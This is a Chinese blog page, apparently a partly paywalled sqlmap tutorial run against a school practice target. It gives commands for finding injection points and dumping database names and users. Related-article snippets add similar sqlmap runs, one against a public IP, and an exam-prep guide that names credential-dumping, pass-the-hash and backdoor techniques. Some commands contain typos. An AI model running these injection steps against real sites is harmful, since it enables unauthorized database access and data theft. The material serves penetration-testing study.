sqlmap注入实操（一）

最新推荐文章于 2025-06-09 18:25:19 发布
最新推荐文章于 2025-06-09 18:25:19 发布
阅读量492 收藏 3
点赞数
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/inslight/article/details/108516424
本文是一篇关于使用sqlmap进行数据库注入的实战教程，详细介绍了从检测注入点、暴库到破解密码、登录后台的全过程。在学校的靶机上，通过sqlmap的各个参数如-D, --table, --columns等，逐步揭示了数据库信息、用户信息和敏感数据，并最终成功登录后台。" 119373938,8246902,STM32G0B1CCT6 Flash Bank2 使用指南,"['stm32', 'c语言', '嵌入式开发', '微控制器', '嵌入式系统']

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

攻击靶机

注：此为学校靶机

一、检测注入点是否可用

sqlmap存放路径>sqlmap.pu -u+"注入网址"

在这里插入图片描述

如果有若干询问语句，可添加一个参数

sqlmap存放路径>sqlmap.pu -u+"注入网址" --batch

二、暴库

1.数据库名称

sqlmap存放路径>sqlmap.pu -u+"注入网址" --dbs

在这里插入图片描述

三、web当前使用的数据库

 sqlmap存放路径>sqlmap.pu -u+"注入网址" --current -db

四、web服务器使用的账户

sqlmap存放路径>sqlmap.pu -u+"注入网址" --current -user

五、列出MySQL所有用户

sqlmap存放路径>sqlmap.pu -u+"注入网址" --users

最低0.47元/天 解锁文章

200万优质内容无限畅学
inslight
关注
SQL 注入之 sqlmap 实战
2301_77160226的博客
08-29 1765
sqlmap 是一款自动化的 SQL 注入工具，它可以检测、利用和接管数据库服务器。它支持多种数据库管理系统，包括 MySQL、Oracle、PostgreSQL、Microsoft SQL Server 等。自动化检测：能够自动检测目标网站是否存在 SQL 注入漏洞。多种攻击方式：支持基于错误、布尔盲注、时间盲注等多种 SQL 注入攻击方式。数据库枚举：可以枚举数据库的名称、表名、列名和数据。权限提升：尝试提升数据库用户的权限，以获取更高的访问权限。
sqlmap注入实战（三）
inslight的博客
09-19 651
一、寻找网站注入点 得到网站 通过burp，抓包，寻找post注入点 复制到sqlmap的根目录中，创建一个txt文件 输入命令sqlmap.py -r +文件名 由此可知，此为注入点 二、暴库 输入命令sqlmap.py -r +文件名 -dbs 输入命令sqlmap.py -r a.txt -D faka --tables获取表 输入命令sqlmap.py -r a.txt -D faka -T ayangw_config --columns获取字段名 输入命令sqlmap.py -r
sqlmap之(五)----Cookie注入实战
你身后的人
04-21 1256
(1) cookie注入，猜解表  [html] view plain copy sqlmap.py -u "http://192.168.87.129/shownews.asp" --cookie "id=27" --table --level 2    do you want to URL encode cookie values (implementation specific)? [Y/n...
SQL注入篇-sqlmap的配置和使用
最新发布
2404_89737060的博客
06-09 983
SQL注入篇-sqlmap的配置和使用
SQLMap 注入 DVWA实战
Cobra的博客
12-16 3640
一、low级别 1、进入dvwa界面输入1，点击Submit，得到链接 http://localhost/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit# 2、我们用sqlmap进行爆破 sqlmap.py -u "http://localhost/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit#" 我们可以看到需要跳转到login的页面，所以，认为这里.
sqlmap注入实战教程（图文详解）
热门推荐
weixin_49071539的博客
12-18 2万+
此教程使用靶场实战演示，仅供学习未经授权切勿用于非法用途 ！ 1.发现此网址可能存在sql注入漏洞，我们进行sql盲注入测试一下是否存在漏洞。 地址栏输入 and 1=1 发现页面正常显示。 再次输入and 1=2 页面出现错误，说明该页面可能存在sql注入漏洞 2.现在拿出我们的kali工具，sqlmap进行注入测试。 sqlmap -u http://219.153.49.228:49634/new_list.php?id=1 --dbs 3.可以看到存在注入漏洞，扫到了5个数据库。要获.
【SQL注入实操】sql-lib的1-8道题
m0_73629042的博客
03-20 1327
这里发现一个很有意思的东西，当我输入中文的单引号，再加上#时，回显正常（这里有点疑惑，不会识别中文字符，而且#注释的是后面的语句。1’是我们输入的内容，目的是为了闭合前面的‘号，后面剩下')，其中)的出现肯定是因为先前的语句中有(，所以我们需要将它闭合，然后直接将后面的')注释。id=1'#，回显正常即可，但是这里#貌似不起作用，可能是数据库对#和--要求不同，我们也可以先将后面的'闭合，再闭合前面的( 还是需要注释后面的，事实上不注释也可以)数字不报错，单引号报错，双引号不报错，所以是单引号注入漏洞。
sqlmap的使用 （以封神台题目为例）
yangtailang94666的博客
10-11 1469
一、sqlmap选项 目标:至少要选中一个参数 -u URL, --url=URL 目标为 URL (例如. "http://www.site.com/vuln.php?id=1") -g GOOGLEDORK 将谷歌dork的结果作为目标url 请求: 这些选项可用于指定如何连接到目标URL --data=DATA 数据字符串通过POST发送 --cookie=COOKIE HTTP Cookie的值 ...
生命在于折腾——SQL注入的实操（六）less26-30
易水哲的博客
08-21 612
sql-lib项目，本篇文章介绍关卡26-30。
黑客学习-sql注入-字符型
weixin_49349476的博客
11-24 1645
判断sql漏洞的类型为字符型，利用post手工注入获数据库信息，在利用busp进行注入，最终获取账号和密码
sqlmap工具的实操--sql注入
weixin_66839513的博客
04-01 5328
sql注入原理就是将恶意的sql语句通过表单或者url拼接到web后端的查询语句中，绕过后端的认证，在后端被服务器执行恶意的sql语句，获取到数据库的权限，从而对数据库进行执行操作，造成数据的篡改及泄露。
SQLmap注入工具
09-20
sqlmap是一个自动化的SQL注入工具，其主要功能是扫描，发现并利用给定的URL的SQL注入漏洞，目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。采用五种独特的SQL注入技术，分别是： 1）基于布尔的盲注，即可以根据返回页面判断条件真假的注入。 2）基于时间的盲注，即不能根据页面返回内容判断任何信息，用条件语句查看时间延迟语句是否执行（即页面返回时间是否增加）来判断。 3）基于报错注入，即页面会返回错误信息，或者把注入的语句的结果直接返回在页面中。 4）联合查询注入，可以使用union的情况下的注入。 5）堆查询注入，可以同时执行多条语句的执行时的注入。 比较实用的sql注入工具
Pikachu用sqlmap注入实战---数字型注入
永不垂头的博客
08-06 1138
Pikachu用sqlmap注入实战—数字型注入 笔者这里以数字型注入为例进行详细展示： ①任意提交数据，使用bp抓包得到post方式提交的参数为 id=1&submit=%E6%9F%A5%E8%AF%A2 使用sqlmap跑post方式时的格式：python2 sqlmap.py -u “” --data="<post提交的参数>" -<参数> 使用sqlmap跑数据库 sqlmap.py -u “http://127.0.0.1/pikachu-master/vul/
sqlmap实战 简单的注入学习
qq_43355651的博客
11-29 760
本人是网络安全的在校学生 为了使自己更好的学习和坚持决定记录一下 希望一次次的记录可以使自己慢慢变强 自己最近在学习安全的重要工具------sqlmap，因为初次学习，为了更好的熟悉和方便，在自己本机上安装了sqlmap（未使用kali Linux）。sqlmap是一个自动化的sql注入工具，主要功能是扫描发现并利用注入漏洞。 本文为学习笔记，仅限于学习交流，不得从事违反法律相关的内容...
kali linux——SQLmap注入学习实战- dvwa
一别两宽丶各生欢喜
07-04 1万+
目录 1、安装phpstudy和dvwa创建测试环境 2、选择sql注入，输入userid并提交，记录当前url和网页cookie 3、开始sqlmap爆破 1、安装phpstudy和dvwa创建测试环境 注意： 本文图片太大，鼠标点开查看比较清晰。 dvwa文件夹放入phpstudy网站根目录下面。 修改phpstudy配置文件数据库密码为root。 dvwa登陆页面admin...
SQLMap 报错注入实战指南
m0_57836225的博客
02-25 1311
通过本文的介绍，我们了解了报错注入的原理，以及如何使用 SQLMap 进行报错注入来检测和利用 SQL 注入漏洞。SQLMap 的强大功能可以帮助我们快速、准确地发现和利用 SQL 注入漏洞，但同时也需要我们在合法、合规的前提下进行使用。希望本文对大家在 Web 安全测试方面有所帮助。
渗透测试---手把手教你sqlmap数据库注入测试(1)---靶场实战篇
weixin_52796034的博客
10-14 5324
SQLMap，就像它的名字所暗示的，是一个为我们提供方便的“SQL注入攻击”的工具。对于那些不熟悉这个概念的人来说，SQL注入是一种黑客攻击技术，允许攻击者在目标网站的数据库中执行恶意SQL语句。这意味着我们可以控制和操纵网站的数据，甚至可以完全接管整个网站。那么SQLMap如何帮助我们实现这些呢？
sqlmap自动扫描注入点_sqlmap教学实战（续），让你成为黑客大神
weixin_39843431的博客
11-26 501
上一篇文章我们讲到了sqlmap的安装与使用的基础知识。那么这节课，我们来讲解一下sqlmap的一些技巧性方面的使用方法吧，burp+sqlmap组合使用首先我们来了解一下burp是什么，Burp Suite 是用于检测web 应用程序的集成平台，包含了许多工具。Burp Suite为这些工具设计了许多接口，以加快攻击应用程序的过程。简单来说就是一款抓包工具，抓取的数据包可提供给我们渗透工程师进行...
渗透测试-SQL注入之sqlmap的使用方法及实战案例
lza20001103的博客
07-19 4394
渗透测试-SQL注入之sqlmap的使用方法及实战案例
如何备考CISP-PTE的实操部分？
02-28
<think>好的，用户之前问过关于CISP-PTE的介绍，现在他们想了解如何备考实操部分。我需要详细分析用户的需求，可能他们正在考虑参加这个考试，或者已经开始准备，但需要具体的实操备考策略。 首先，用户可能已经了解CISP-PTE的基本信息，包括考试结构和内容，但现在更关注实操部分。实操部分对于渗透测试认证来说至关重要，因为它直接检验实际技能。备考策略需要覆盖技术要点、资源推荐、练习方法以及考试技巧。 用户可能缺乏实战经验，或者对如何系统练习感到困惑。他们可能需要具体的步骤，比如如何搭建实验环境，推荐哪些靶场平台，以及如何模拟真实考试环境。此外，用户可能关心时间管理和考试中的应对策略。 我需要整理出备考的步骤，从基础技能到专项训练，再到综合演练。同时要强调漏洞报告的编写，因为这在考试中可能容易被忽视。还要提醒常见陷阱，比如工具依赖和忽略权限提升，这些都是考生容易犯的错误。 资源推荐方面，应该包括常用的靶场平台，比如DVWA、Vulnhub，以及国内的在线实验环境。另外，书籍和社区资源也很重要，帮助用户深入学习。 最后，需要给出备考计划建议，分阶段进行，从基础到实战模拟，确保用户有系统性的准备。还要提醒考试当天的策略，比如时间分配和报告结构，确保他们能在考试中高效发挥。 总结下来，回答需要结构清晰，涵盖技术准备、实战练习、资源推荐、注意事项和备考计划，确保用户能全面准备实操部分，顺利通过考试。</think>备考CISP-PTE的**实操部分**需重点训练渗透测试全流程能力，以下是系统性备考策略： --- ### **一、明确实操考试要求** - **考试形式**：在仿真靶场中对多台靶机进行渗透（通常包括Web应用、系统提权、内网横向移动等环节）； - **评分标准**：漏洞发现、利用、提权、报告编写能力； - **时间限制**：通常为4-6小时（需合理分配时间）。 --- ### **二、核心技能训练** #### 1. **基础渗透技能** - **信息收集** - 掌握域名/IP扫描（`nmap`、`masscan`）、目录爆破（`dirsearch`、`gobuster`）、子域名枚举（`subfinder`、`Sublist3r`）； - 熟练使用`Burp Suite`拦截和修改HTTP请求。 - **Web漏洞利用** - **OWASP Top 10**漏洞实战： - SQL注入（手工构造Payload，绕过WAF）； - 文件上传（绕过黑白名单、.htaccess利用）； - 反序列化漏洞（Java/PHP反序列化链构造）； - SSRF（利用协议读取内网文件、端口探测）； - XXE（读取系统文件、外带数据）。 - **工具链**：`sqlmap`、`XSStrike`、`Commix`辅助验证。 - **系统提权与内网渗透** - Linux/Windows提权：内核漏洞（如Dirty Cow）、服务配置错误（SUID、计划任务）； - 内网横向：代理工具（`frp`、`ew`）、密码抓取（`mimikatz`、`LaZagne`）、PTH攻击（Pass the Hash）； - 权限维持：后门植入、隐藏账号创建。 #### 2. **漏洞报告编写** - **格式要求**：漏洞描述、复现步骤（截图）、危害分析、修复建议； - **考试评分项**：逻辑清晰、关键步骤完整（如漏洞利用的Payload、提权命令）。 --- ### **三、高效练习方法** #### 1. **靶场实战** - **推荐靶场**： - 基础：DVWA、WebGoat、OWASP Juice Shop； - 进阶：Vulnhub（如Kioptrix系列）、Hack The Box（免费靶机）； - 内网渗透：TryHackMe的“内网渗透”路径、国内红日（RedTeam）靶场。 - **练习步骤**： ```markdown 1. 独立完成靶机渗透（禁止直接看Writeup）； 2. 记录每一步操作（形成渗透笔记）； 3. 针对失败场景复盘（如漏洞利用失败的原因）； 4. 限时模拟考试环境（如4小时攻破3台靶机）。 ``` #### 2. **模拟真实考试环境** - 使用虚拟机搭建多层级网络（如DMZ区Web服务器→内网数据库服务器）； - 限制工具使用（考试可能禁用Metasploit等自动化工具）。 --- ### **四、资源推荐** 1. **书籍** - 《Web安全攻防：渗透测试实战指南》（徐焱） - 《内网安全攻防：渗透测试实战》（徐焱、王珩） 2. **在线课程** - 实验楼、i春秋的CISP-PTE专项课程（含靶场） - B站渗透测试实战教程（搜索“CISP-PTE实操”） 3. **社区与工具** - GitHub项目：渗透测试工具集合（如`Pentest-Tools`） - 论坛：先知社区、看雪学院（渗透案例分析） --- ### **五、考试注意事项** 1. **时间分配建议** - 信息收集（20%）→ Web漏洞利用（40%）→ 提权与内网（30%）→ 报告编写（10%）。 2. **常见陷阱** - 过度依赖工具（如直接用`sqlmap`而未理解注入原理）； - 忽略权限提升后的敏感文件（如`/etc/passwd`、数据库配置文件）； - 未清理攻击痕迹（考试可能扣分）。 --- ### **六、备考计划（参考）** | 阶段 | 时长 | 内容 | |--------|--------|--------------------------------------------| | 基础 | 1个月 | OWASP Top 10漏洞复现、Linux/Windows提权 | | 进阶 | 2个月 | 内网渗透靶场（Vulnhub、HTB） | | 冲刺 | 1个月 | 全流程模拟考试（限时渗透+报告编写） | --- **总结**：CISP-PTE实操备考的核心是**“从靶场到实战”**，需通过大量练习形成肌肉记忆，同时注重漏洞原理理解而非单纯工具使用。建议每日投入2-3小时专项训练，考前集中模拟真实环境。
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值